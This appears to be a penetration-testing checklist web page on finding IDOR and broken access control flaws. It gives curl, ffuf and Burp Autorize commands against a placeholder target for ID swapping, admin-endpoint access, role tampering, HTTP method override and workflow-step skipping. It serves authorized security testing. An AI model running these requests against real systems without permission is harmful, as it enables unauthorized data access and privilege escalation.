IDOR & Broken Access Control

Exploitation HIGH v1.0.0 updated 2026-06-17

Systematically test for insecure direct object references, broken function-level authorization, and privilege escalation across all API endpoints and application functions.

Tools

Machine-readable JSON available at:

https://reconatlas.pages.dev/api/checklists/idor-bac-testing

// checklist steps

idor-01

Identify all object reference patterns

Map every API endpoint and parameter that references objects by identifier — numeric IDs, UUIDs, slugs, filenames, and encoded values.

# Extract endpoints with identifiers from proxy history
cat all-urls.txt | grep -oiE '(/api/[a-z]+/[0-9]+|/api/[a-z]+/[a-f0-9-]{36}|/users/[^/]+|/files/[^/]+)'
# Identify ID patterns in API responses
cat proxy-history.json | grep -oiE '"id":\s*"?[a-zA-Z0-9_-]+"?'
nuclei -l live-hosts.txt -t exposures/ -o exposed-refs.txt

Do not limit your search to numeric IDs. Modern APIs often use UUIDs, slugs, or encoded identifiers that are equally vulnerable to IDOR if authorization is missing.

idor-02

Test horizontal access by swapping user identifiers

Authenticate as User A and attempt to access User B's resources by substituting object identifiers in API requests.

# Swap numeric ID
curl -sk 'https://target.com/api/users/1002/profile' -H 'Authorization: Bearer <userA_token>'
# Swap UUID
curl -sk 'https://target.com/api/documents/b3e2c4a1-7d8f-4e5a-9c1b-2d3f4a5b6c7d' -H 'Authorization: Bearer <userA_token>'
# Enumerate with ffuf
ffuf -u 'https://target.com/api/orders/FUZZ' -w ids.txt -H 'Authorization: Bearer <userA_token>' -mc 200 -fc 403,404

Create two test accounts and systematically swap every identifier between them. Check both read and write operations — an endpoint may allow reading but block modification, or vice versa.

idor-03

Test vertical privilege escalation

Authenticate as a regular user and attempt to access administrative endpoints, management functions, and privileged API routes.

# Access admin API with regular user token
curl -sk 'https://target.com/api/admin/users' -H 'Authorization: Bearer <regular_user_token>'
curl -sk 'https://target.com/api/admin/settings' -H 'Authorization: Bearer <regular_user_token>'
# Test role parameter tampering
curl -sk -X PUT 'https://target.com/api/users/me' -H 'Authorization: Bearer <regular_user_token>' -H 'Content-Type: application/json' -d '{"role": "admin"}'

Discover admin endpoints through JavaScript analysis, API documentation, or by observing admin-only features in the client-side code. Try adding role or is_admin parameters to registration and profile update requests.

idor-04

Test function-level authorization with HTTP method tampering

Test whether changing the HTTP method bypasses authorization checks — for example, using PUT or DELETE on endpoints that only validate GET requests.

# Test all methods on a protected endpoint
for method in GET POST PUT PATCH DELETE OPTIONS; do echo "$method:"; curl -sk -X $method 'https://target.com/api/admin/users/1001' -H 'Authorization: Bearer <regular_user_token>' -o /dev/null -w '%{http_code}'; echo; done
# Test method override headers
curl -sk -X POST 'https://target.com/api/admin/users/1001' -H 'X-HTTP-Method-Override: DELETE' -H 'Authorization: Bearer <regular_user_token>'

Some frameworks only enforce authorization on specific HTTP methods. Also test X-HTTP-Method-Override, X-Method-Override, and _method parameter for method override bypasses.

idor-05

Test multi-step process and workflow bypasses

Test whether authorization checks are enforced at every step of multi-step processes — skipping steps, reordering requests, or replaying completed steps.

# Skip step 2 and go directly to step 3
curl -sk -X POST 'https://target.com/api/checkout/confirm' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{"order_id": "12345"}'
# Replay a completed step with modified parameters
curl -sk -X POST 'https://target.com/api/transfer/execute' -H 'Authorization: Bearer <token>' -H 'Content-Type: application/json' -d '{"amount": 1000, "to": "attacker_account"}'

Map the full workflow sequence and test each step independently. Authorization often fails at the final execution step when earlier validation steps are skipped.

idor-06

Automate IDOR testing with Autorize

Configure the Burp Suite Autorize extension to automatically replay every request with a low-privilege token and detect authorization failures at scale.

# Install Autorize in Burp Suite Extensions tab
# Configure low-privilege user cookie/token in Autorize settings
# Browse the application as admin — Autorize replays each request with the low-priv token
# Review Autorize results: red = enforced, yellow = different response, green = bypassed

Autorize works by intercepting requests made with a high-privilege session and replaying them with a low-privilege token. Green results indicate authorization bypasses that need manual verification.

Overview

Broken access control is the number one risk in the OWASP Top 10. IDOR and function-level authorization failures allow attackers to read, modify, or delete other users’ data, or escalate privileges to administrative access without proper credentials.

Testing methodology

Effective access control testing requires at least two user accounts at different privilege levels. Systematically swap identifiers between accounts and replay high-privilege requests with low-privilege tokens to detect both horizontal and vertical access control failures.

Automation at scale

Manual IDOR testing does not scale across large APIs. Use Burp Suite’s Autorize extension to automatically replay every request with a different authorization context, then manually validate the flagged results.

// references

← All checklists JSON ↗